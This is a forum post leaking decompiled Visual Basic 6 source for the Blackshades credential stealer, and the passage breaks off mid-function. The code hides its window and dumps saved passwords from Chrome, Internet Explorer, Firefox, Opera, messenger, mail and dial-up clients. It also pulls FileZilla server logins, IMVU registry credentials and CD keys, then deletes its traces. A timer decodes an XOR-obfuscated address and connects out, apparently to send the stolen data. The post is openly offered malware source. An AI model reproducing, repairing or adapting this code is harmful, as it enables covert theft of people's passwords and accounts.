[LEAK] Blackshades Stealer Source Code [VB6]

.Judgement

Onyx user!
Reputation
0
[member=50]
Code:
Forms:
frmMain
fSteam
-----------------------------------------
frmMain_Load:
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = 0
Me.Hide
Me.global_52 = CStr(String(&H104, Chr(0)))
MemVar_420078 = PC_INFO_GET()
Me.global_52 = DIR_ME() & "\" & App.EXEName & ".exe"
Proc_3_0_4191C8(Me, MemVar_420078, GetModuleFileName(CLng(GetWindowWord(Me.Hwnd, -6)), Me.global_52, &H104))
var_D0 = 1
              If (var_D0 = 1) Then '41D524
   var_11C = PASSWORDS_CHRO() & PASSWORDS_IEXP() & PASSWORDS_FFOX() & PASSWORDS_OPRA() & "" & MemVar_420078 & ""
   var_114 = CStr(Environ("systemdrive") & "\")
   var_114 = HDS_GET()
   MemVar_420074 = var_118 & var_118
   GoTo loc_41D817
              End If
              If (var_D0 = 2) Then '41D5EE
   var_124 = PASSWORDS_CHRO() & PASSWORDS_IEXP() & PASSWORDS_FFOX() & PASSWORDS_OPRA() & PASSWORDS_MESS() & "" & MemVar_420078 & ""
   var_11C = CStr(Environ("systemdrive") & "\")
   var_11C = HDS_GET()
   MemVar_420074 = var_120 & var_120
   GoTo loc_41D817
              End If
              If (var_D0 = 3) Then '41D6CB
   var_120 = PASSWORDS_CHRO() & PASSWORDS_IEXP() & PASSWORDS_FFOX() & PASSWORDS_OPRA() & PASSWORDS_MESS() & PASSWORDS_MAIL() & "" & MemVar_420078
   var_12C = var_120 & ""
   var_124 = CStr(Environ("systemdrive") & "\")
   var_124 = HDS_GET()
   MemVar_420074 = var_128 & var_128
   GoTo loc_41D817
              End If
              If (var_D0 = 4) Then '41D817
   var_124 = PASSWORDS_MESS() & PASSWORDS_MAIL() & PASSWORDS_DIAL() & PASSWORDS_CHRO() & PASSWORDS_IEXP() & PASSWORDS_PTSG() & PASSWORDS_FFOX()
   var_15C = var_124 & PASSWORDS_OPRA() & PASSWORDS_CDKEY() & PASSWORDS_PRODKEY() & FZ_GET() & IMVU_GET() & "" & MemVar_420078 & ""
   var_154 = CStr(Environ("systemdrive") & "\")
   var_154 = HDS_GET()
   MemVar_420074 = var_158 & var_158
              End If
              If (MemVar_420074 = 0) Then '41D843
   UnLoad Me
   End
End If
Me.tmrConnect.Enabled = True
Exit Sub
MemVar_420074(var_15C) = MemVar_420074
End Sub
---------------------------------------------------------------------------------------------------------------------------------------------------------------
tmrConnect_Timer:
Private Sub tmrConnect_Timer()
              If Not(MemVar_420090) Then
Proc_3_4_4173A0()
0 = strXOR("10012C02021D0E130928124707081402", "frmMain")
Proc_3_2_419338(var_94, &H1F90)
              End If
Exit Sub
End Sub
---------------------------------------------------------------------------------------------------------------------------------------------------------------
File_Read:
Public Function FILE_READ(arg_C)
var_8C = arg_C
var_90 = CLng(FreeFile)
Open var_8C For Binary As CInt(var_90) Len = &HFF
var_88 = CStr(Input(FileLen(var_8C), CInt(var_90)))
Close CInt(var_90)
Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
IMVU_GET:
Public Function IMVU_GET() '418CD8
  'Data Table: 401B50
  loc_418C18: var_94 = "HKEY_CURRENT_USER\Software\IMVU\username\"
  loc_418C1E: var_94 = ReadKey()
  loc_418C27: var_8C = CStr(var_A4)
  loc_418C39: var_94 = "HKEY_CURRENT_USER\Software\IMVU\password\"
  loc_418C3F: var_94 = ReadKey()
  loc_418C47: var_A8 = CStr(var_A4)
  loc_418C4B: var_A8 = Hex2Ascii()
  loc_418C53: var_90 = var_AC
              If CBool((var_8C = 0) Or (CVar(var_90) = var_BC)) Then '418C8E
  loc_418C88:   Exit Function
              End If
  loc_418CBF: var_88 = "IMVU" & "" & "N/A" & "" & var_8C & "" & var_90 & vbCrLf
  loc_418CD1: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
FZ_GET:
Public Function FZ_GET() '41AB54
  'Data Table: 401B50
  loc_41A711: var_E8 = Environ("appdata") & "\FileZilla\recentservers.xml"
  loc_41A716: var_8C = CStr(var_E8)
              If (Dir(var_8C) <> vbNullString) Then '41AB45
  loc_41A74B:   var_94 = CLng(FreeFile)
  loc_41A75A:   Open var_8C For Binary As CInt(var_94) Len = &HFF
  loc_41A773:   var_90 = CStr(Space(LOF(CInt(var_94))))
  loc_41A785:   Get CInt(var_94), 0, var_90
  loc_41A78B:   Close CInt(var_94)
                If (Len(var_90) > 0) Then '41AB45
  loc_41A7BD:     CRefVarAry
                  If (UBound(Split(var_90, "<Server>", -1, 0), 1) > 0) Then '41AB45
  loc_41A7F7:       arg_2008 = Split(var_90, "<Server>", -1, 0)
                    For Each var_FC In arg_2008
  loc_41A84B:         var_FC = Split(CStr(var_FC), "</Server>", -1, 0)(0) 'Variant
  loc_41A880:         CRefVarAry
                      If (UBound(Split(CStr(var_FC), vbCrLf, -1, 0), 1) > 0) Then '41AB3A
  loc_41A8C1:           arg_2008 = Split(CStr(var_FC), vbCrLf, -1, 0)
                        For Each var_10C In arg_2008
  loc_41A8F4:             var_10C = CVar(Trim$(CStr(var_10C))) 'Variant
                          If CBool(InStr(1, var_10C, "<Host>", 0)) Then '41A9C1
  loc_41A919:               var_D8 = 1
  loc_41A93E:               var_C8 = Split(CStr(var_10C), "<Host>", -1, 0)
  loc_41A9A0:               var_118 = CStr(CVar(var_118 & "FileZilla" & "") & Split(CStr(var_E8), "</Host>", -1, 0)(0) & "")
                          End If
                          If CBool(InStr(1, var_10C, "<User>", 0)) Then '41AA78
  loc_41A9DF:               var_D8 = 1
  loc_41AA04:               var_C8 = Split(CStr(var_10C), "<User>", -1, 0)
  loc_41AA5B:               var_118 = CStr(CVar(var_118) & Split(CStr(var_E8), "</User>", -1, 0)(0) & "")
                          End If
                          If CBool(InStr(1, var_10C, "<Pass>", 0)) Then '41AB2F
  loc_41AA96:               var_D8 = 1
  loc_41AABB:               var_C8 = Split(CStr(var_10C), "<Pass>", -1, 0)
  loc_41AB12:               var_118 = CStr(CVar(var_118) & Split(CStr(var_E8), "</Pass>", -1, 0)(0) & vbCrLf)
                          End If
                        Next
                      End If
                    Next
                  End If
                End If
              End If
  loc_41AB48: var_88 = var_118
  loc_41AB4B: Exit Function
  loc_41AB52: DOC
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
ReadKey:
Public Function ReadKey() '417898
  'Data Table: 401B50
  loc_41784A: On Error Goto loc_417885
  loc_417860: CAdVar
  loc_417873: LateMemCallLdVar
  loc_41787B: var_94 = CreateObject("WScript.shell", 0) 'Variant
  loc_41787F: Exit Function
  loc_417885: ' Referenced from: 41784A
  loc_41788D: var_94 = CVar(0) 'Variant
  loc_417891: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Hex2Ascii:
Public Function Hex2Ascii(arg_C) '41842C
  'Data Table: 401B50
  loc_41838F: var_8C = arg_C
              For var_EC = 1 To var_BC: var_9C = var_EC 'Variant
  loc_4183F6:   var_12C = var_12C & Chr(CLng(Val(CStr("&h" & Mid$(var_8C, CLng(var_9C), 2))))) 'Variant
  loc_418410:   var_9C = (var_9C + 1) 'Variant
              Next var_EC 'Variant
  loc_418422: var_88 = CStr(var_12C)
  loc_418425: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_MESS:
Public Function PASSWORDS_MESS() '41B034
  'Data Table: 401B50
  loc_41ABF2: On Error Resume Next
  loc_41AC1E: var_8C = LoadResData("MESS", "RCVR")
  loc_41AC2B: Proc_1_1_419AD4(var_8C)
  loc_41AC7A: var_140 = CStr(" /stext " & Chr(&H22) & CVar(DIR_ME()) & "\mess.dat" & Chr(&H22))
  loc_41ACAD: WaitForSingleObject(Proc_0_0_41E4E0(Me.global_52, var_8C), &H3A98)
              If (FileLen(DIR_ME() & "\mess.dat") = 0) Then '41AD03
  loc_41ACF0:   Kill CVar(DIR_ME() & "\mess.dat")
  loc_41ACFD:   Exit Function
              End If
  loc_41AD24: var_94 = FILE_READ(DIR_ME() & "\mess.dat")
  loc_41AD66: Kill CVar(DIR_ME() & "\mess.dat")
  loc_41ADA6: arg_2008 = Split(Replace(Replace(var_94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0), String(&H32, "="), -1, 0)
  loc_41ADB0: var_98 = arg_2008
              For var_188 = CVar(LBound(var_98, 1)) To var_C4: var_158 = var_188 'Variant
                If CBool((var_158 Mod 2) <> 0) Then '41B016
  loc_41AE1F:     arg_2008 = Split(var_98(CLng(var_158)), vbCrLf, -1, 0)
  loc_41AE29:     var_9C = arg_2008
  loc_41AE36:     var_A2 = &HFF
                  For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1B8 'Variant
                    If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41AED2
                      If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) = 0) Then '41AED2
  loc_41AECF:           var_A2 = 0
                      End If
                    End If
                  Next var_1B8 'Variant
                  If (var_A2 = &HFF) Then '41B014
                    For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1E8 'Variant
                      If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41AFFB
                        If (var_198 < CVar((UBound(var_9C, 1) - 1))) Then '41AFA7
  loc_41AF94:             var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1) & "")
  loc_41AFA4:             GoTo loc_41AFF9
                        End If
  loc_41AFEB:           var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1))
  loc_41AFF9:           ' Referenced from: 41AFA4
                      End If
                    Next var_1E8 'Variant
  loc_41B011:       var_A0 = var_A0 & vbCrLf
                  End If
                End If
              Next var_188 'Variant
  loc_41B028: var_88 = var_A0
  loc_41B02D: Exit Function
End Function

---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_MAIL:
Public Function PASSWORDS_MAIL() '41D27C
  'Data Table: 401B50
  loc_41CD5A: On Error Resume Next
  loc_41CD86: var_8C = LoadResData("MAIL", "RCVR")
  loc_41CD93: Proc_1_1_419AD4(var_8C)
  loc_41CDE2: var_140 = CStr(" /stext " & Chr(&H22) & CVar(DIR_ME()) & "\mail.dat" & Chr(&H22))
  loc_41CE15: WaitForSingleObject(Proc_0_0_41E4E0(Me.global_52, var_8C), &H3A98)
              If (FileLen(DIR_ME() & "\mail.dat") = 0) Then '41CE6B
  loc_41CE58:   Kill CVar(DIR_ME() & "\mail.dat")
  loc_41CE65:   Exit Function
              End If
  loc_41CE8C: var_94 = FILE_READ(DIR_ME() & "\mail.dat")
  loc_41CECE: Kill CVar(DIR_ME() & "\mail.dat")
  loc_41CF0E: arg_2008 = Split(Replace(Replace(var_94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0), String(&H32, "="), -1, 0)
  loc_41CF18: var_98 = arg_2008
              For var_188 = CVar(LBound(var_98, 1)) To var_C4: var_158 = var_188 'Variant
                If CBool((var_158 Mod 2) <> 0) Then '41D25D
  loc_41CF87:     arg_2008 = Split(var_98(CLng(var_158)), vbCrLf, -1, 0)
  loc_41CF91:     var_9C = arg_2008
  loc_41CF9E:     var_A2 = &HFF
                  For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1B8 'Variant
                    If ((((InStr(1, var_9C(CLng(var_198)), "Application  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "Email  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "User  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41D097
                      If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) = 0) Then '41D097
  loc_41D094:           var_A2 = 0
                      End If
                    End If
                  Next var_1B8 'Variant
                  If (var_A2 = &HFF) Then '41D25B
                    For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1E8 'Variant
                      If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41D242
                        If ((((InStr(1, var_9C(CLng(var_198)), "Application  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "Email  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "User  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41D240
                          If (var_198 < CVar((UBound(var_9C, 1) - 2))) Then '41D1EC
  loc_41D1D9:               var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1) & "")
  loc_41D1E9:               GoTo loc_41D23E
                          End If
  loc_41D230:             var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1))
  loc_41D23E:             ' Referenced from: 41D1E9
                        End If
                      End If
                    Next var_1E8 'Variant
  loc_41D258:       var_A0 = var_A0 & vbCrLf
                  End If
                End If
              Next var_188 'Variant
  loc_41D26F: var_88 = var_A0
  loc_41D274: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_DIAL:
Public Function PASSWORDS_DIAL() '41B5E4
  'Data Table: 401B50
  loc_41B0EA: On Error Resume Next
  loc_41B116: var_8C = LoadResData("DIAL", "RCVR")
  loc_41B123: Proc_1_1_419AD4(var_8C)
  loc_41B172: var_140 = CStr(" /stext " & Chr(&H22) & CVar(DIR_ME()) & "\dial.dat" & Chr(&H22))
  loc_41B1A5: WaitForSingleObject(Proc_0_0_41E4E0(Me.global_52, var_8C), &H3A98)
              If (FileLen(DIR_ME() & "\dial.dat") = 0) Then '41B1FB
  loc_41B1E8:   Kill CVar(DIR_ME() & "\dial.dat")
  loc_41B1F5:   Exit Function
              End If
  loc_41B21C: var_94 = FILE_READ(DIR_ME() & "\dial.dat")
  loc_41B25E: Kill CVar(DIR_ME() & "\dial.dat")
  loc_41B29E: arg_2008 = Split(Replace(Replace(var_94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0), String(&H32, "="), -1, 0)
  loc_41B2A8: var_98 = arg_2008
              For var_188 = CVar(LBound(var_98, 1)) To var_C4: var_158 = var_188 'Variant
                If CBool((var_158 Mod 2) <> 0) Then '41B5C5
  loc_41B317:     arg_2008 = Split(var_98(CLng(var_158)), vbCrLf, -1, 0)
  loc_41B321:     var_9C = arg_2008
  loc_41B32E:     var_A2 = &HFF
                  For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1B8 'Variant
                    If (((InStr(1, var_9C(CLng(var_198)), "Phone / Host  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41B408
                      If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) = 0) Then '41B408
  loc_41B405:           var_A2 = 0
                      End If
                    End If
                  Next var_1B8 'Variant
                  If (var_A2 = &HFF) Then '41B5C3
                    For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1E8 'Variant
                      If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41B5AA
                        If (((InStr(1, var_9C(CLng(var_198)), "Phone / Host  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41B5A8
                          If (var_198 < CVar((UBound(var_9C, 1) - 5))) Then '41B554
  loc_41B53C:               var_11C = CVar(var_A0 & "Dial up" & "" & "Dial up" & "" & "Dial up" & "") & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1) & ""
  loc_41B541:               var_A0 = CStr(var_11C)
  loc_41B551:               GoTo loc_41B5A6
                          End If
  loc_41B598:             var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1))
  loc_41B5A6:             ' Referenced from: 41B551
                        End If
                      End If
                    Next var_1E8 'Variant
  loc_41B5C0:       var_A0 = var_A0 & vbCrLf
                  End If
                End If
              Next var_188 'Variant
  loc_41B5D7: var_88 = var_A0
  loc_41B5DC: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_CHRO:
Public Function PASSWORDS_CHRO() '41CCA4
  'Data Table: 401B50
  loc_41C7AA: On Error Resume Next
  loc_41C7D6: var_8C = LoadResData("CHRO", "RCVR")
  loc_41C7E3: Proc_1_1_419AD4(var_8C)
  loc_41C832: var_140 = CStr(" /stext " & Chr(&H22) & CVar(DIR_ME()) & "\chro.dat" & Chr(&H22))
  loc_41C865: WaitForSingleObject(Proc_0_0_41E4E0(Me.global_52, var_8C), &H3A98)
              If (FileLen(DIR_ME() & "\chro.dat") = 0) Then '41C8BB
  loc_41C8A8:   Kill CVar(DIR_ME() & "\chro.dat")
  loc_41C8B5:   Exit Function
              End If
  loc_41C8DC: var_94 = FILE_READ(DIR_ME() & "\chro.dat")
  loc_41C91E: Kill CVar(DIR_ME() & "\chro.dat")
  loc_41C95E: arg_2008 = Split(Replace(Replace(var_94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0), String(&H32, "="), -1, 0)
  loc_41C968: var_98 = arg_2008
              For var_188 = CVar(LBound(var_98, 1)) To var_C4: var_158 = var_188 'Variant
                If CBool((var_158 Mod 2) <> 0) Then '41CC85
  loc_41C9D7:     arg_2008 = Split(var_98(CLng(var_158)), vbCrLf, -1, 0)
  loc_41C9E1:     var_9C = arg_2008
  loc_41C9EE:     var_A2 = &HFF
                  For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1B8 'Variant
                    If (((InStr(1, var_9C(CLng(var_198)), "Action URL  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41CAC8
                      If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) = 0) Then '41CAC8
  loc_41CAC5:           var_A2 = 0
                      End If
                    End If
                  Next var_1B8 'Variant
                  If (var_A2 = &HFF) Then '41CC83
                    For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1E8 'Variant
                      If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41CC6A
                        If (((InStr(1, var_9C(CLng(var_198)), "Action URL  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41CC68
                          If (var_198 < CVar((UBound(var_9C, 1) - 2))) Then '41CC14
  loc_41CBFC:               var_11C = CVar(var_A0 & "Chrome" & "" & "Chrome" & "" & "Chrome" & "") & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1) & ""
  loc_41CC01:               var_A0 = CStr(var_11C)
  loc_41CC11:               GoTo loc_41CC66
                          End If
  loc_41CC58:             var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1))
  loc_41CC66:             ' Referenced from: 41CC11
                        End If
                      End If
                    Next var_1E8 'Variant
  loc_41CC80:       var_A0 = var_A0 & vbCrLf
                  End If
                End If
              Next var_188 'Variant
  loc_41CC97: var_88 = var_A0
  loc_41CC9C: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_IEXP:
Public Function PASSWORDS_IEXP() '41C144
  'Data Table: 401B50
  loc_41BC4A: On Error Resume Next
  loc_41BC76: var_8C = LoadResData("IEXP", "RCVR")
  loc_41BC83: Proc_1_1_419AD4(var_8C)
  loc_41BCD2: var_140 = CStr(" /stext " & Chr(&H22) & CVar(DIR_ME()) & "\iexp.dat" & Chr(&H22))
  loc_41BD05: WaitForSingleObject(Proc_0_0_41E4E0(Me.global_52, var_8C), &H3A98)
              If (FileLen(DIR_ME() & "\iexp.dat") = 0) Then '41BD5B
  loc_41BD48:   Kill CVar(DIR_ME() & "\iexp.dat")
  loc_41BD55:   Exit Function
              End If
  loc_41BD7C: var_94 = FILE_READ(DIR_ME() & "\iexp.dat")
  loc_41BDBE: Kill CVar(DIR_ME() & "\iexp.dat")
  loc_41BDFE: arg_2008 = Split(Replace(Replace(var_94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0), String(&H32, "="), -1, 0)
  loc_41BE08: var_98 = arg_2008
              For var_188 = CVar(LBound(var_98, 1)) To var_C4: var_158 = var_188 'Variant
                If CBool((var_158 Mod 2) <> 0) Then '41C125
  loc_41BE77:     arg_2008 = Split(var_98(CLng(var_158)), vbCrLf, -1, 0)
  loc_41BE81:     var_9C = arg_2008
  loc_41BE8E:     var_A2 = &HFF
                  For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1B8 'Variant
                    If (((InStr(1, var_9C(CLng(var_198)), "Entry Name", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41BF68
                      If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) = 0) Then '41BF68
  loc_41BF65:           var_A2 = 0
                      End If
                    End If
                  Next var_1B8 'Variant
                  If (var_A2 = &HFF) Then '41C123
                    For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1E8 'Variant
                      If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41C10A
                        If (((InStr(1, var_9C(CLng(var_198)), "Entry Name", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41C108
                          If (var_198 < CVar((UBound(var_9C, 1) - 2))) Then '41C0B4
  loc_41C093:               var_10C = CVar(var_A0 & "Internet Explorer" & "" & "Internet Explorer" & "") & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)
  loc_41C0A1:               var_A0 = CStr(var_10C & "")
  loc_41C0B1:               GoTo loc_41C106
                          End If
  loc_41C0F8:             var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1))
  loc_41C106:             ' Referenced from: 41C0B1
                        End If
                      End If
                    Next var_1E8 'Variant
  loc_41C120:       var_A0 = var_A0 & vbCrLf
                  End If
                End If
              Next var_188 'Variant
  loc_41C137: var_88 = var_A0
  loc_41C13C: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_OPRA:
Public Function PASSWORDS_OPRA() '41C6F4
  'Data Table: 401B50
  loc_41C1FA: On Error Resume Next
  loc_41C226: var_8C = LoadResData("OPRA", "RCVR")
  loc_41C233: Proc_1_1_419AD4(var_8C)
  loc_41C282: var_140 = CStr(" /stext " & Chr(&H22) & CVar(DIR_ME()) & "\opra.dat" & Chr(&H22))
  loc_41C2B5: WaitForSingleObject(Proc_0_0_41E4E0(Me.global_52, var_8C), &H3A98)
              If (FileLen(DIR_ME() & "\opra.dat") = 0) Then '41C30B
  loc_41C2F8:   Kill CVar(DIR_ME() & "\opra.dat")
  loc_41C305:   Exit Function
              End If
  loc_41C32C: var_94 = FILE_READ(DIR_ME() & "\opra.dat")
  loc_41C36E: Kill CVar(DIR_ME() & "\opra.dat")
  loc_41C3AE: arg_2008 = Split(Replace(Replace(var_94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0), String(&H32, "="), -1, 0)
  loc_41C3B8: var_98 = arg_2008
              For var_188 = CVar(LBound(var_98, 1)) To var_C4: var_158 = var_188 'Variant
                If CBool((var_158 Mod 2) <> 0) Then '41C6D5
  loc_41C427:     arg_2008 = Split(var_98(CLng(var_158)), vbCrLf, -1, 0)
  loc_41C431:     var_9C = arg_2008
  loc_41C43E:     var_A2 = &HFF
                  For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1B8 'Variant
                    If (((InStr(1, var_9C(CLng(var_198)), "URL  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41C518
                      If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) = 0) Then '41C518
  loc_41C515:           var_A2 = 0
                      End If
                    End If
                  Next var_1B8 'Variant
                  If (var_A2 = &HFF) Then '41C6D3
                    For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1E8 'Variant
                      If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41C6BA
                        If (((InStr(1, var_9C(CLng(var_198)), "URL  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41C6B8
                          If (var_198 < CVar((UBound(var_9C, 1) - 3))) Then '41C664
  loc_41C64C:               var_11C = CVar(var_A0 & "Opera" & "" & "Opera" & "" & "Opera" & "") & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1) & ""
  loc_41C651:               var_A0 = CStr(var_11C)
  loc_41C661:               GoTo loc_41C6B6
                          End If
  loc_41C6A8:             var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1))
  loc_41C6B6:             ' Referenced from: 41C661
                        End If
                      End If
                    Next var_1E8 'Variant
  loc_41C6D0:       var_A0 = var_A0 & vbCrLf
                  End If
                End If
              Next var_188 'Variant
  loc_41C6E7: var_88 = var_A0
  loc_41C6EC: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_FFOX:
Public Function PASSWORDS_FFOX() '41BB94
  'Data Table: 401B50
  loc_41B69A: On Error Resume Next
  loc_41B6C6: var_8C = LoadResData("FFOX", "RCVR")
  loc_41B6D3: Proc_1_1_419AD4(var_8C)
  loc_41B722: var_140 = CStr(" /stext " & Chr(&H22) & CVar(DIR_ME()) & "\ffox.dat" & Chr(&H22))
  loc_41B755: WaitForSingleObject(Proc_0_0_41E4E0(Me.global_52, var_8C), &H3A98)
              If (FileLen(DIR_ME() & "\ffox.dat") = 0) Then '41B7AB
  loc_41B798:   Kill CVar(DIR_ME() & "\ffox.dat")
  loc_41B7A5:   Exit Function
              End If
  loc_41B7CC: var_94 = FILE_READ(DIR_ME() & "\ffox.dat")
  loc_41B80E: Kill CVar(DIR_ME() & "\ffox.dat")
  loc_41B84E: arg_2008 = Split(Replace(Replace(var_94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0), String(&H32, "="), -1, 0)
  loc_41B858: var_98 = arg_2008
              For var_188 = CVar(LBound(var_98, 1)) To var_C4: var_158 = var_188 'Variant
                If CBool((var_158 Mod 2) <> 0) Then '41BB75
  loc_41B8C7:     arg_2008 = Split(var_98(CLng(var_158)), vbCrLf, -1, 0)
  loc_41B8D1:     var_9C = arg_2008
  loc_41B8DE:     var_A2 = &HFF
                  For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1B8 'Variant
                    If (((InStr(1, var_9C(CLng(var_198)), "Web Site  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41B9B8
                      If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) = 0) Then '41B9B8
  loc_41B9B5:           var_A2 = 0
                      End If
                    End If
                  Next var_1B8 'Variant
                  If (var_A2 = &HFF) Then '41BB73
                    For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1E8 'Variant
                      If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41BB5A
                        If (((InStr(1, var_9C(CLng(var_198)), "Web Site  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41BB58
                          If (var_198 < CVar((UBound(var_9C, 1) - 5))) Then '41BB04
  loc_41BAEC:               var_11C = CVar(var_A0 & "FireFox" & "" & "FireFox" & "" & "FireFox" & "") & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1) & ""
  loc_41BAF1:               var_A0 = CStr(var_11C)
  loc_41BB01:               GoTo loc_41BB56
                          End If
  loc_41BB48:             var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1))
  loc_41BB56:             ' Referenced from: 41BB01
                        End If
                      End If
                    Next var_1E8 'Variant
  loc_41BB70:       var_A0 = var_A0 & vbCrLf
                  End If
                End If
              Next var_188 'Variant
  loc_41BB87: var_88 = var_A0
  loc_41BB8C: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_CDKEY:
Public Function PASSWORDS_CDKEY() '41A2EC
  'Data Table: 401B50
  loc_41A06A: On Error Resume Next
  loc_41A096: var_9C = LoadResData("CDKY", "RCVR")
  loc_41A0A3: Proc_1_1_419AD4(var_9C)
  loc_41A0EB: arg_2008 = Split(CStr(StrConv(var_9C, &H40, &H409)), vbCrLf, -1, 0)
  loc_41A0F5: var_8C = arg_2008
              For var_138 = 0 To var_BC: var_108 = var_138 'Variant
  loc_41A149:   arg_2008 = Split(var_8C(CLng(var_108)), ",", -1, 0)
  loc_41A153:   var_90 = arg_2008
                If (var_90(1) = "HKLM") Then '41A179
  loc_41A176:     var_98 = -2147483646
                End If
                If (var_90(1) = "HKCU") Then '41A196
  loc_41A193:     var_98 = -2147483647
                End If
                If (var_90(UBound(var_90, 1)) = vbNullString) Then '41A23C
  loc_41A1B3:     var_D4 = "1"
